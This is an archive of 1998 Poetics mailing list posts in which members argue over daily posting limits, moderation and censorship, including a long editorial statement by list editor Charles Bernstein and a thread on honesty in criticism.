> mistaken assumption that exclusion and censorship are the appropriate
> responses to what are essentially political and aesthetic differences.
>
> joe brennan
>

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143. Mark Wallace
perhaps another suggestion
Fri 4 Dec 1998

I enjoy the open-ended nature of the list and the chance for give and take, but like Steve Shoemaker and some others I also believe too high a number of posts per list to the day by a single person has a habit of shutting conversation down--at a total of only 50 allowable messages a day, it's literally NOT true that anyone can say anything at any time--a concerted attempt to post many times a day does effectively shut out the possibility of other people posting to the list.

While it seems to me that one post per day may cut out too much potential give and take, I'd like to suggest a limit of TWO posts per day, and I'd like to suggest that the owner of the list could and should write a limit on the number of posts into the official Welcome List information. Why two per day? Well, it does allow for response--you can both make your post and respond to any and all who respond to you on the same day, provided you can restrain yourself long enough to allow those other posts to come in. It might even have the added

virtue of making people think further about how they're going to respond--while everybody would still be welcome to fire back as quickly as possible if they felt like it, they would do so with the awareness that one quick jab a day is all they're going to have.

I would even suggest that a person who posts THREE times a day should not be given a warning until, say, perhaps the third time they've overposted. An initial warning at the third time, a second warning at time number four, and at time number five having their posting privileges taken away for a limited period of time, say perhaps one or two months. Individuals who post more than three times a day should receive one immediate warning, a second warning, and then be removed from the list on a third occasion.

Obviously, the exact nature of the numbers here should clearly be subject to adjustment. But while I think nothing can or should be done about the tone, etc, of various posts, however frustrating that can be, I do think something can and should be done about individuals who actually do take away from the democracy of the list by their attempt in some literal sense (whether conscious or not) to SEIZE message space.

I would encourage Charles and Joel, again, to write such limitations into the initial message list, and I believe that these limitations will HELP the democratic nature of the forum. But I would further suggest the following--that perhaps a VOTE by the members of the list on the issue of such limitations is also possible. A motion could be put forward by the list owners--people who cared to vote on the issue would have say a week period in which to register their vote.

I look forward to any discussion of this or other possibilities for enabling some level of list modernation that does not in fact constitute censorship.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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144. Hilton Manfred Obenzinger

Re: Help

Fri 4 Dec 1998

Jim Bennet --

I tried backchanneling you regarding "Auster Studies" but the computer belched it back. If you backchannel me I may be able to offer you suggestions.

Hilton Obenzinger

On Wed, 2 Dec 1998, Jim Bennett wrote:

> *Hello listies*
>
> *I have been collecting information about PAUL AUSTER for a paper about his work esp his poetry. I obviously have the books and translations which he has written, but I would be grateful to make contact with anyone who knows him, knew him or has any information which may be of use. (I have tried to contact him direct but I think I have an old address). I am still in the collation phase at the moment and am looking for a direction from which to approach the subject.*
>
> *His early struggles strike me as poignant, and the story of the manuscript of "The Chronicles of the Guayaki Indians. All very interesting esp in the light of his piece "Why Write?" from "The Art of Hunger".*
>
> *Thanks*
>
> *Jim*

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145. Christina Fairbank Chirot

Re: email addresses question

Fri 4 Dec 1998

Might anyone here have the email addresses for Peter Jaeger and/or Bill Howe (Essex journal)?

These would be deeply appreciated.

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146. A. Jenn Sondheim

*Experiments in Poetry, by Jennifer**

Fri 4 Dec 1998

==

Experiments in Poetry, by Jennifer*

Today being such a Beautiful Day in Capital City,
I want to gather parentheses! (One,
Until There is a lovely bouquet in Capital City (By One,

Which I will give to the Very Saddest Person (By One,
And they will be happiest having Lovely all at Once!)))

...

I do will see a Perfect Cloud which is a Metaphor or Like
A Simile that you just Make you think a Perfect Picture of

...

If you give me your Name, I will Tell you a story
And I will keep your Name, and there will be a Sound
Of all those Names leaping from the story
And falling Down on the Cooling Ground

.....

End of Experiments in Poetry, by Jennifer

...

*Oh, these are all I could think of! How could Anyone
keep this up!!

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147. tracy s. ruggles
Re: AUTOMATIC REPLY
Fri 4 Dec 1998

On Friday, December 4, 1998, Someone wrote:
>
> THIS IS AN AUTOMATICALLY GENERATED MESSAGE
>
> ----------[http://metapoetics.listbot.com]----------
>
> Are you tired of going to the POETICS list to read about
> the art of mailing list moderation and online community
> building/rebuilding/destructing?
>
> FREE POETICS by using This List, the MetaPoetics list, to
> talk about the talk about talking about the POETICS list,
> and return the POETICS list to Poetics.
>
> Thanks,
> MetaPoetics List Owner

>
>

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148. **Edward Foster**
Re: Tonight
Fri 4 Dec 1998

Maureen Owen

Ed Roberson

Joel Lewis

Lyman Gilmore

7:00 PM
Friday, December 4th

Denise Bibro Gallery
529 West 20th Street, 4th floor
New York City

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149. **Steven Shoemaker**
Re: perhaps another suggestion
Fri 4 Dec 1998

As a staunch proponent of the single post per day platform, I must strenously oppose Mark Wallace's suggestion that *two* posts per day be allowed. Wallace's proposal, it should be pointed out, *doubles* the number of allowable posts and so leaves us precariously poised at the very brink of a slippery, indeed *exponentially* slippery slope: what next--4 posts per day? eight? sixteen? thirty-two? No, my friends, our only salvation lies in the Single, the Unitary, the One.

Oh, ok, I actually think Mark's plan is a better one--it had already occurred to me after I made my post, but of course it would have been too unseemly to violate my barely formulated single-post principle by making *another* post that same day... steve

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150. Eliza McGrand
Re: perhaps another suggestion
Fri 4 Dec 1998

mark

as i pointed out in my post on this issue, there is a limit on total posts, i.e. 50 per day, BUT, BUT, many, in fact most, days go by without limit being reached. why say people can only post once, or twice, a day, on the premise that with 50 as max more posts will shut people out, when even with multiple posters, the great majority of days we do not reach 50. remember, everytime we exceed 50 list gets frozen and that wierd paranoic reaction among those who haven't experienced frozen list occurs, and we haven't had that in WEEKS.

as i also suggested earlier, one could ask for a simpler self control mechanism, with possibly a programming routine built in. i verymuch like your notion of waiting till all resaponses are in, and posting collective answer as means of cutting posts down, rather than posting quick multiple jabs.

but, how about initial suggestion: each person gets max 3 posts day. at post (p) > 3, posts get shunted into queue. if total number of posts (N) =< 35, say, or 40, by say 11 pm, then queue gets released. otherwise, it is released on next day.

or, if same done as self control, you ask people to post max 3, 2 if list mail heavy that day, and wait till 11:30 pm to post any more, or send any additional postings to subsidiary queue area where it is released if N =< 35 or 40 by 11pm. or, if that sort of programming impossible, make it total honor system, i.e. don't post more than 3 until 11:30 pm, if there is still room.

there have been days where there were maybe 10, 15 posts. to sit about and frown and sit on people saying don't want too many posts when there were, in fact, not many posts, seems a bit heavyhanded. i realize i'm acting like a prickly rule-hating anarchist-stereotype poet/writer here, bu but i yam what i yam, old sweet potato...

e

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151. Mairead Byrne
Re: perhaps another suggestion
Fri 4 Dec 1998

On Fri, 4 Dec 1998, Mark Wallace wrote:

>
> I would even suggest that a person who posts THREE times a day

> should not be given a warning until, say, perhaps the third time they've
> overposted. An initial warning at the third time, a second warning at time
> number four, and at time number five having their posting privileges taken
> away for a limited period of time, say perhaps one or two months.
> Individuals who post more than three times a day should receive one
> immediate warning, a second warning, and then be removed from the list on
> a third occasion.
>
I could not agree more with Mark Wallace's suggestion. Could we
consider giving a warning, though, before the third and final warning
(re: offence number five), so that offenders will know that this warning
(i.e., the ultimate rather than penultimate warning I am proposing)
will result in the immediate stripping of posting privileges for the
agreed upon length of time (I think this aspect of Mark's post requires
further refining). By the way, as I will not be teaching next semester,
I may be available for the monitoring of the new system, if terms can be
agreed.
Mairead
> /----------\
> | |
> | [redacted] |
> | GWU: |
> | http://gwis2.circ.gwu.edu/~mdw |
> | EPC: |
> | http://writing.upenn.edu/epc/authors/wallace |
> |_____|
>

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152. **Tosh**

Re: perhaps another suggestion

Fri 4 Dec 1998

My favorite way of responding to the subject of 'too many postings' is to delete the one's I am not interested in. Plus people can backchannel if they want to get really into a subject matter. The choice should be up to the writer of the post, but should also be aware that you are sending out a post that is reaching ....? so many people. Focus who you want to speak to... if it is all, then send it. If it is one person, just send it to that one person.

Case solved! Next case please!

Tosh Berman
TamTam Books

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153. Elizabeth Treadwell
Re: the backchannels I knew I'd get this morning.
Fri 4 Dec 1998

I write a bit blindly into the list right now as I am on digest and thus haven't seen the latest frontchanneling.

Public apology to Henry Gould for my joining in the public scapegoating. Though heat is what you often get for posting, so when posting often, watch out.

I knew I'd get some lecturey backchanneling and here is what I'd like to respond to from Mark Weiss:

> *Then why not bring those discussions to the list? Unless you try and no one listens there's not much to complain about.*

I have tried, just not recently. Early summer, Gertrude Stein; later, Laura Riding -- my asking seemed to spark a lot of conversation, which I listened rather than added to. And there were some others.

Maybe I am one of those you automatically delete.

Please don't send any more backchannel to lecture me!!!! I'm a busy and stubborn girl.

cheers to poetry

ELizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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154. Eliza McGrand
nav.gaz. ethical query on new subject
Fri 4 Dec 1998

listafarians: i write this query from, in my bleak moods, what i think may be a naif manque position, and in my better moments, what i think may be a majority, rationalist position. could we kick this query around pretty honestly -- i

think the data would merit the perhaps embarrassing self-exposure it may generate.

to set question up: a few months ago, poems for workshop type crit, one of the members from an arena where i often participated in workshop crit appeared to post in another area where i have some admin say. let's call this post K2. K2 was a mocking poem, not particularly great but ok. suddenly appended to K2 was post saying apparent signed poster was not, in fact, poster.

i'll spare you the thrasher details, but in my response to supposed originator of K2, call person "K," i was apparently less than the ultimate in clarity. i got back in response an appallingly vitriolic little gem, saying, among other things (and here is CRUX of matter) something like "you are a mediocre, if that, poet and i always thought your critiques were shallow and self-serving."

now, K had always been, if anything, almost syncophantic. well, that goes too far, but perhaps a bit uncritically admiring? nothing obvious, or excessive, just a faint sense. good at taking a sharp crit, almost invariably positive about my writing. almost always at least one, usually more good points of critique. there had never been anything to prepare me for vitriol.

i wrote back in shock, saying what on earth, and what has upset you, and so forth. nohting about "how could you denigrate my work" because i didn't want to be a whiner. well, again, cutting to chase, apparently my comments on K2 post completely misunderstood to be critical, even, to suggest i was the fake K2 poster. when K got it all straight, wrote apology and said oh, have always liked and respected your writing immensely and great crits etc. type things.

HERE IS CRUX: i was almost nauseous. i simply CANNOT imagine saying either that i like someone's work when i don't, or, conversely, in burst of pique saying i think they suck when i never did think so. it completely, utterly grossed me out. i now have absolutely no trust in K's opinion. it was made worse by rumors sent me that apparently K was/is very religious. this hypcrisy from a purportedly RELIGIOUS person?

i've tried to think, since. sometimes, i've said, it is true, less sharp things than i was thinking. i've made some polite noises about work i am less than wild about. but never actually said anything like "your writing is great" -- more, i'll find an image, or line, or if i can, single poem i like and praise that. and if asked, really asked, i'll be honest about what i don't like.

there are writers i don't like, with work i DO like. if i speak about work, talk about work. i always try, at least, to leave personal opinion out of it. that seems like most basic degree of respect about writing one must have to really be able to do it well, or so i thought. there are people i've been angry at, jealous of, and it is possible i don't accord their work the respect i should, or as fair

a reading as i should. and when i think that could be the case, i try to shut up about anything critical unless i'm really totally certain. but i miss in this.

but have you, listmates, ever deliberately slammed work, publically or privately, because you didn't like writer, or thought writer didn't like your work and wanted to "get" them back?

have you, verifiably, seen this happen -- not suspected, but SEEN it as i did in way that makes it unmistakable?

do you think this should be a basic ethical requirement we should make of ourselves as critics? i don't ask thses as straw questions.

for myself, i have this wierd feeling that if i lie, engage in this kind of dishonesty (and i do lie, we all do, but i mean, lie in THIS SPECIFIC WAY), it will pollute my writing. it is maybe superstitious, or voodoo, but at most rational level i can describe, seems like so muc hof writing is instinct and deep truths, i.e. unmediated so as to hold on to raw/edgy malleability and "artistry," that if you muck around by dishonesties about writing, you risk losing your ability to BE honest. and if you do that, you will lose your writing edge. so, in all honestly, it is perhaps selfishness that has made me toe this line more than anything. if i was assured that i could be dishonest in this way and it wouldn't effect my writing, would i do it? i think i probably would not, that it is self-belittling to be untruthful, beneath one. but it is also possible i am completely blindsiding to occurences of this in myself...

even as i write this, the glory of the poetics list is happening -- i'm hearing all of your voices already in response, and i can think of lots of you trying to work out if you know of any dishonest critics who are good writers to bring up as counters. i can't think of any just now, but i will work on it too. K. is, by the way, not a great writer. ok, sometimes flat, sometimes cliched, sometimes overreaching and not succeeding in project of poem. but not in permanently, deeply awful way. more in way that suggests someone new to writing than anything else, someone with work to do that they might, in fact, actually be able to do at some point...

but meanwhile, do you engage in, or know of people who have engaged in this kind of knowingly slanted crit? would you allow someone you knew to do it to write in zine/mag/journal you had control over? or do you know it regularly to occur and automatically factor it in when reading crit/ doing admin tasks involving assessment?

e

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155. R.Gancie/C.Parcelli
Re: quick history
Fri 4 Dec 1998

As chairman of the Free Henry Gould Committee I feel it is my duty to inform the list that George Bowering's check bounced.---Carlo Parcelli
George Bowering wrote:
>
> >Free Henry Gould
>
> Oh, bad timing! I paid $25 just a month ago.
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]

--
ÐÏ à¡± á

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156. Mark Weiss
Re: the backchannels I knew I'd get this morning.
Fri 4 Dec 1998

Well then, frontchannel. Twice issues raised and discussion provoked would seem to indicate that the system now in place in fact works.

I think Elliza McGrand got it right: maybe on three or four occasions since I've been on the list I've had to wait till the next day for a post to appear because the list was maxed out. Hardly a crisis.

As to the occasional eruptions of imbecility or unseemly passion, or the times when the conversation ties itself into a knot, that's the nature of communication. The britlist recently spent what seemed like a year (or was it two weeks) angrily discussing an article that only one member had read (and refused to quote apparently for fear of legal retribution--they still use the stocks over there). So there were a lot of "If what you're implying he said x, then y...," answered by "actually it was more like z, but you should really look at the article, which is unfortunately virtually unavailable, as the ten copies printed floated down river with the livestock in last week's flood" kinds of posts, all of them

vehemently passionate, many of them, given the lack of data, character assassination by way of inuendo. The topic finally went away of its own accord, as would have this one, spurred by Marjorie's initial post, which, having taken on its own life, went some fairly interesting, if intemperate, places before becoming lost in nothing but name-calling. In the past this little polity has survived worse, and without any deus ex machina. Boredom and quiet diplomacy seem potent enough.

Enough handwringing. Maybe what we need is public confessions--Fritz Perls and Mao would have loved that.

On another topic: the word "assassination" implies that it helps to be stoned when you pull the trigger. Is that also true of character assassination?

> *I knew I'd get some lecturey backchanneling and here is what I'd like to respond to from Mark Weiss:*
>
> *Then why not bring those discussions to the list? Unless you try and no one listens there's not much to complain about.*
>
> *I have tried, just not recently. Early summer, Gertrude Stein; later, Laura Riding -- my asking seemed to spark a lot of conversation, which I listened rather than added to. And there were some others.*
>
> *Please don't send any more backchannel to lecture me!!!! I'm a busy and stubborn girl.*
>
> *cheers to poetry*
>
> *ELizabeth*
>
> *Outlet Magazine -&- Double Lucy Books*
> *P.O. Box 9013, Berkeley, California 94709 U.S.A.*
> *http://users.lanminds.com/~dblelucy*

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157. **David Cameron**

Re: perhaps another suggestion

Fri 4 Dec 1998

As a possible solution to the ongoing debate over how many posts one should be allowed to post in a single day, I would like to suggest that anyone who posts to this list be automatically unsubbed from it.

D.

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158. Elizabeth Treadwell
I become my own enemy
Fri 4 Dec 1998

Pals and countrypeople,

Am I not allowed to back up Joel in his complaint??? Clearly he has invested WORK in this list, and I wanted to publicly comment on his comments.

Mark Weiss wrote me:
>My point exactly--one can raise issues and provoke comment, even as things
>stand.
>Instead we get all this handwringing. The list rapidly turns into a gestalt
>therapy session.

I don't want backchannel!!! I don't want to post 3 times a day!@! Perhaps this is my last post ever, posthaste..

To clarify, I want people to be concise and thoughtful -- & respectful maybe, I don't know, it tends to ease REAL COMMUNICATION! I would love LOVE to be on a list I felt more attuned to. For one thing,(not to alienate any dear pals or nothin) this list can feel very like an utterly male dominion, I know I am not the only one who thinks so. It also can feel like a dysfunctional family. Great. Two things I have been running from for years. (not to gestalt ya, pls ignore except as an intellectual construct).

I don't want the list to function as a boredom-at-work easer for people. Or I don't want to be on a list that is. Do your work, go home, go for a walk, whatever. Try a matinee!! Try a chatroom!! I would love the list to be for announcements and thoughtful discussion.

Even as things stand --my definition of which is: there are sometimes things that interest me being discussed, I have made new great contacts-- I am thinking of dropping off the list. Why?? ***Witness what happened to Jen Hofer when she mentioned gender-neutral pronouns.**** Why?? These back -- and later, in the digest, who knows what front- channel lectures from everyone who somehow OWNS the list (or worse yet, poetry- or the entire English language of he's and his's and for all mankind), and these will tend to be -- less than charming

Elizabeth

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http://users.lanminds.com/~dblelucy

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159. R.Gancie/C.Parcelli

Re: perhaps another suggestion

Fri 4 Dec 1998

Well, its official. Mark Wallace's post shows that he has been living in this city of bureaucrats too long.
But it did remind me of an incident from my distant past. When I was a kid in Catholic grade school, we had a weekly discussion session with one of the parish priests. Inevitably, one of the sessions dealt with the so-called moral question, "If you were on a life raft that could hold only six people and there were seven survivors who should make the supreme sacrifice?" Because I was perpetually hungry, questions like this irritated me. So I asked the priest, "What if one of the survivors was a communist?" The priest, a gentleman of Polish descent, leaned over an inch from my face and whispered, "Then drowning would be too good for him."
I've suspected limits and boundaries ever since.
Mark Wallace wrote:
>
> I enjoy the open-ended nature of the list and the chance for give
> and take, but like Steve Shoemaker and some others I also believe too high
> a number of posts per list to the day by a single person has a habit of
> shutting conversation down--at a total of only 50 allowable messages a
> day, it's literally NOT true that anyone can say anything at any time--a
> concerted attempt to post many times a day does effectively shut out the
> possibility of other people posting to the list.
>
> While it seems to me that one post per day may cut out too much
> potential give and take, I'd like to suggest a limit of TWO posts per day,
> and I'd like to suggest that the owner of the list could and should write
> a limit on the number of posts into the official Welcome List information.
> Why two per day? Well, it does allow for response--you can both make your
> post and respond to any and all who respond to you on the same day,
> provided you can restrain yourself long enough to allow those other posts
> to come in. It might even have the added virtue of making people think
> further about how they're going to respond--while everybody would still be
> welcome to fire back as quickly as possible if they felt like it, they

> would do so with the awareness that one quick jab a day is all they're
> going to have.
>
> I would even suggest that a person who posts THREE times a day
> should not be given a warning until, say, perhaps the third time they've
> overposted. An initial warning at the third time, a second warning at time
> number four, and at time number five having their posting privileges taken
> away for a limited period of time, say perhaps one or two months.
> Individuals who post more than three times a day should receive one
> immediate warning, a second warning, and then be removed from the list on
> a third occasion.
>
> Obviously, the exact nature of the numbers here should clearly be
> subject to adjustment. But while I think nothing can or should be done
> about the tone, etc, of various posts, however frustrating that can be, I
> do think something can and should be done about individuals who actually
> do take away from the democracy of the list by their attempt in some
> literal sense (whether conscious or not) to SEIZE message space.
>
> I would encourage Charles and Joel, again, to write such
> limitations into the initial message list, and I believe that these
> limitations will HELP the democratic nature of the forum. But I would
> further suggest the following--that perhaps a VOTE by the members of the
> list on the issue of such limitations is also possible. A motion could be
> put forward by the list owners--people who cared to vote on the issue
> would have say a week period in which to register their vote.
>
> I look forward to any discussion of this or other possibilities
> for enabling some level of list modernation that does not in fact
> constitute censorship.
>
> Mark Wallace
>
> /----------\
> | |
> | [redacted] |
> | GWU: |
> | http://gwis2.circ.gwu.edu/~mdw |
> | EPC: |
> | http://writing.upenn.edu/epc/authors/wallace |
> |_____|

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↑ Index

160. **groberts**
my two cents laid on the r.r. track
Fri 4 Dec 1998

In the spirit of the long confessionals hereabouts of late...The following suffers from a lack of facetiousness, which no doubt leaves its earnestness open for ridicule: oh well, I 'll take my chances, because I agree that Joel's posts call for more responses from us. I hope it will be clear that my rhetoric of anonymity is deliberate; I pretend to speak for the list but am only speaking for myself, "myself" of course being itself only a caricature.

Who is the list for? For its sponsors and its users (myself and strangers), but not for everyone.

This much (or little) is granted easily enough. But after all it's not so easy as that. Which I think means corollary and perhaps more interesting questions should be asked, yet again.

What is this list for? My generic answer is: To realize day in and day out the notion that this technology can fulfill certain loosely defined but specific goals and needs supposedly shared by sponsors and users alike. But this way of answering the question is perhaps not very helpful after all. And so: What is the list used for? And thus: What do I use the list for? Or: How do I use the list?

-To learn more about experimental poetry and poetics (list as ritual space for the display of secrets to the uninitiated). I first heard about the list from a new friend I made at an academic conference at Orono, ME, so my decision to subscribe to this "community" (with at that time a head count of about 300 and already considered by some overpopulated) was based on an idealized description of it as a well-established venue for the same exhilarating exchange of names, notices, ideas, and opinions that I shared then face to face with other already subscribed listees. I am one of the horde of graduate students who have attached ourselves to the list in the vain hope that we might learn more about poetry ignored or dismissed at the schools to which we are also attached. I sometimes feel that this horde, which consists of individuals who are on some level in economic competetion with each other (a not negligible claim that I have intended to make before), doesn't have any real quickening effect on the discussions, and may even have the reverse effect. Hurrah for those who do not believe that they have a precarious economic interest in what goes on here and contribute out of other personal or political motivations!

-To hear more about publications (list as bulletin board). By far, most of the postings that I have saved over the last two and a half years are announcements about stuff that I can buy, read, view, attend, order, covet, etc..

-To practice and perform an ethos (list as karaoke bar, cruising street, or playground). I occasionally post throwaway verse constructed out of or in response to discussion threads and intended as my contribution to the anarchic polyphony that is so characteristic of this list. The abject and retrograde character of my satires on our own "jargon of tribal intersubjectivity" (de Man) is fun for me to assume and infrequently enough interjected to be harmless as far as I am concerned. I very much appreciate, for example, Alan Sondheim's "experiments in poetry" and think that this list is a good place to find out how the poetics of satire and enunciative position work when they are predicated on a new medium of distribution.

I have tried to participate on the list at least once a month, in however tangential or tentative way, because I think more users need to delurk in order to actively shape this discourse community. I also feel that I would be exploitatively benefiting from the work of others if I did not act to make the list work for them and me in accord with what I understand to be the list's premises and purposes. This is the onlysuch list that I have subscribed to for the simple reasons that I only have so much time for this sort of thing and I still believe this venue can provoke and persuade me to articulate my own poetics, which are not identical with but include that which I described above. Several times, I have been dismayed enough by the amount of what I consider blather and carelessness to unsub. I haven't yet done so because: I still learn something now and then, I am fascinated by the creative potential of this medium, and I am adept at deleting the many posts that don't interest me and that make this list so tantalizingly banal.

Gary R.

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161. R.Gancie/C.Parcelli

Re: quick history

Fri 4 Dec 1998

What about Bowering's frivolous post that superceded in time, space, cyberspace, hyperspace et al my frivolous post. Viva frivolity. I love listening in on the Bowering/Bromige love cooing. Perhaps, they would coo for us again today.---Carlo Parcelli
miekal and wrote:
>
> Its surely a study in poetic consciousness to note how a thread which

> originally started by asking the date the atom was split has turned into
> missives from the chairman of the Free Henry Gould Committee. Tho I
> must admit that everytime I write one of these short posts now I feel
> self-conscious (& those who know me, know that is an achievement) & have
> this mental image of someone else out there unsubscribing because of
> it. Is this the hive mentality devolving into spitfire anarchy?
>
> Rasputin Zukofsky

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162. Mairead Byrne
Re: nav.gaz. ethical query on new subject
Fri 4 Dec 1998

I was strongly encouraged to write a negative review for the Village Voice a long time ago. I resisted (my editor had something against the author); my copy was badly affected; I didn't write any more reviews for VV. On the other hand, I once wrote a somewhat negative review of a friend's book: I was and continue to be naive and driven. My friend was absolutely enraged: I had broken a serious code. I no longer review professionally: for the most part, I found greater satisfaction in publishing favorable reviews. However, as I say, I am a strikingly naive and lonesome dude: I know this is not the way the great world works. And I still say we should all have to piss standing up. Mairead

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163. Tom Orange
suggestions: self-control, et al.
Fri 4 Dec 1998

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the wealth of poetic knowledge and experience that this collection of 700 +/- list subscribers manifests is too great a treasure for it to be diminished in any way.

i thrive on: closely argued disussions of issues in poetics; suggestions and promotions of books and essays to read, small press publications and journals to hunt down and read; compelling cases made for writers whose work i might not otherwise check out; announcements of readings and events, even in places i might have to make an effort to get to; reports from readings and events that i would like to have attended but could not; simple queries that generate broader discussions; and yes, even some bickering (e.g. perloff-gudding, generational agon, etc).

i am enervated by: personal attacks, showboating, grandstanding, baiting, running in-jokes, coffee-talk, idle banter as cure for work-a-day boredom, coterie witticisms. and nit-picky things like misdirected backchannels (careful with that reply key eugene!), whole posts copied into subsequent posts (if you don't know how to change yr email settings, find out!), front-channel requests for the email addresses of people who as it turns out are list subscribers (if you don't know how to review the list of current subscribers, find out!), requests for information that has already been posted (if you don't know how to search the list archives, find out!). (btw, "find out" = read welcome message or backchannel me!)

certainly not everyone shares my tastes, but at the risk of drifting into can't-we-all-just-get-along, let's simply show some respect and responsibility for ourselves and each other.

i suggest the following as a minimal standard for posting: will my post be of interest and relevance to a majority of the 700 subscribers to this list? (as corollary to the notion, stated in the welcome message, that posting here is a form of publication)

((and hoping i havent herein violated my own dictum; poster's worst fear, akin to kent's nobody likes me: am i one of those you auto-delete?))

another suggestion: perhaps those interested could put a rein on the anarchy -vs- censorship debate by the backchannel drafting of some sort of rules of the roost which could then be submitted for general approval?

allbests,
tom
[redacted]

---------- There are no straight lines, neither in things nor in language. Syntax is the set of necessary detours that are created in each case to reveal the life in things. -- Gilles Deleuze ----------

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164. Charles Bernstein
Freedom Is Never Free
Fri 4 Dec 1998

A couple of weeks ago I got a note from a friend on the list (yes I still do have some friends on the list) who asked me why the messages had stopped coming. I quickly checked to see what the story was and I discovered the list was locked because over 50 messages had been sent that day. I sent out a message to free the locked posts, but I sent it to the list rather than listserve. Thus my cryptic

post of a couple of weeks back: Free Poetics. But the response to that message made me aware that I had not been active enough in exercising the editorial functions of the list. My attention was simply elsewhere, although I continued to read the list.

The Poetics List is by its nature limited and it can't reflect the desire of all its participants, for as has been well articulated by others, the direction that some of the subscribers might wish to take the list will drive others away from it: *it has already has*. The alienation of many subscribers who for me constitute a core constituency for us is an issue that those of involved in maintaining the list are necessarily more concerned about than some list participants. This has been an issue that has come up in this and every year since the list was started in late 1993 and this is something like the reply I have given in those earlier instances: I may well be mistaken about this, but it has been a founding principal of the list and one I have stated more than any other one except the centrality of announcements of readings and publications for the list.

Indeed, in 1995, when the list had only 200 subscribers, I made the point this way: “I am interested in continuing to explore what formats and styles of posting encourage, rather than simply allow, participation in this ‘virtual uncommunity’. The volume of messages is certainly a useful measure of list activity; but volume itself may be an obstacle for some to participate, just as it may encourage others.”

A year or two later I put it this way: “The paradox is that in an attempt to be open and nonexcluding one can end up excluding those who are unable to handle the volume: people are drowned out rather than kept out until Dreamworks Interactive, Inc., guides us and we asphyxiate.”

In any case, I do not feel obliged to let those who post the most or are the most belligerent in their posts determine the direction of the Poetics List. However, I, along with my collaborators, are reading and considering any and all suggestions we get frontchannel but also, significantly, backchannel.

I am making no claim as to what is right in all cases; I am rather asserting the particular editorial parameters of this specific Internet project, and indeed my own editorial judgment (in cooperation with those who share responsibility with me for the list). Others will surely want to create different lists with different focuses and different limits, but it seemed to me worthwhile at this time to try to reassert the values of the list to which those of who organized it and maintain it are committed.

This is a private list. No one is required to participate, no one is guaranteed a right to participate. Its function, structure, and aims are determined by its editors. I believe in the value of editing and I believe this value does not increase in the age of the Internet, but, if anything, increases. Editorial decisions are

open to question; they may be wrong or misguided. The lack of editorial intervention is also a form of editing, subject to dispute.

This is and has always been a moderated list, albeit lightly moderated; the very minimal intervention combined with maximum maintenance (thanks, Joel!) is not to limit the range, anarchy, feistiness, good or bad manners of posts -- but rather to allow space for such exchanges to continue. The parameters of this list does not include absolute right of anyone subscribing to it to send out unlimited messages; indeed, one of the very few ground rules for the list states just the opposite. I am very reluctant to express this in the number of posts per day or even week, because back and forth at any given moment is one of crucial features of the list. However, we ask that those participating in this forum stick to a general sense of limit as measured, over longer periods of time. When, in the judgment of those of working on the list, this limit has been exceed , a polite message, emphasizing that the issue is volume of posts not content, may be sent out; this should suffice for anyone wishing to participate in the list. In the history of the list, I believe we have sent a request to decrease the volume of posting to only four people among the possibly 1000 who have subscribed at one time or another. When a subscriber responds to such *multiple* requests by increasing the frequency of their posting, then it is our obligation to recognize that the structure we have set up is not working in this one instance and to act accordingly.

I want a Poetics List that I can read straight through, not the only the posts I'm likely to like, but the one that annoy or irritate or surprise or baffle me. I want a list where the folks subscribed don't set their filters (automatic or manual) to delete posts from those people they feel have already heard enough from (or otherwise use their delete button more than their view button) . I may be the only one on this list who has attempted to read all the posts that have been sent to it from the day the list was started. Maybe this makes me a bad judge maybe lists are condemned to cycles of always new readers who stay on till they have had enough. But that's not the kind of list I want.

Maybe I'm imposing reading values based on print journals or "real time" conversation and dialogue onto a new and different medium. Maybe I'm just holding onto an impossible ideal, against all odds, and against those who feel that the instant gratification of being able to post not just a much as you want (*which has never been limited*) but also as often as you want is a fundamental value of the list. The Internet, we all know, offers much more information that we can take in. I want a list that is not just another example of too much unfiltered, unconsidered product; that can be quiet, even silent, some days, and noisy others that doesn't follow the imperative of the more the better, since the space is "free and unlimited".

Electronic space is neither free or unlimited because our lives are neither free or unlimited.

The economy of the list is affected by who posts more or less, what tones they use, who is scared off and who is egged on, who has the time to read it and write to it -- and who doesn't and perhaps feels unable to post because never able to get the end of the last series of posts before the topic has flown on to something else. My temperament may indeed be contrary to this medium: I seek containment, a space I feel I can inhabit, that is slow as much as fast, kind as much as unkind. A space I can think in and a space I want to go for conversation. These expectations are unreasonable and perhaps that is the site of the conflict here: for I want a list that articulates limits rather than imposes them by volumetric default. And I want to bring this about by self-reflective engagement of all those participating. This may not be the way some of you see these issues, but I invite those interested to stick with me in this electronic experiment.

I don't propose to stop the list or to change its structure. I propose to stick with it, pretty much as it has been these past several years. *No one has been deleted from this list,* but those of us running the list reserve the right to limit the number of posts that subscribers can send and, from time to time, to make editorial comments on posts that have been sent.

Last night when I got home my son six-year old son Felix said to me, "I wish everyone in the whole school lived in the same building". Thinking of the Poetics List, I can't say I feel the same way. But I do wish we were all in the same conversation. I want to work for that, because I know it won't be easy to get there. It never has been.

Charles Bernstein
David Gray Professor of Poetry and Letters
Poetics Program
Department of English
438 Clemens Hall
State University of New York
Buffalo, NY 14260
[redacted]
fax: [redacted]

http://writing.upenn.edu/epc
http://writing.upenn.edu/epc/authors/bernstein

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165. cris cheek
Re: it feels like harassment
Fri 4 Dec 1998

Hi Randolph,

> *that no one has the right to tell anyone to*
> *shut up and that if they like points so much they should stick their heads*
> *in a pencil sharpener.*

ouch! mine's a 2B (or not too buzz-buzz, gloes that money). Maybe i misunderstrode the question. You can't make a Hamlet without breaking posts.

understanding (i'll respect your shit if you respect my shit?) often misses the point as you so eloquently put it. Shanks for the memo bro.

let this list roll - with respect (more quirky humours, less guffaws)

I mean, if this be turf, why so many people out cutting the grass?

love and love
cris

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166. R.Gancie/C.Parcelli
Re: Freedom Is Never Free
Fri 4 Dec 1998

Thanks to Charles for confirming everything in Joe Brennan's earlier post.---Carlo Parcelli
Charles Bernstein wrote:
>
> A couple of weeks ago I got a note from a friend on the list (yes I still do
> have some friends on the list) who asked me why the messages had stopped
> coming. I quickly checked to see what the story was and I discovered the list
> was locked because over 50 messages had been sent that day. I sent out a
> message to free the locked posts, but I sent it to the list rather than
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> elsewhere, although I continued to read the list.
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> participants. This has been an issue that has come up in this and every year
> since the list was started in late 1993 and this is something like the reply I
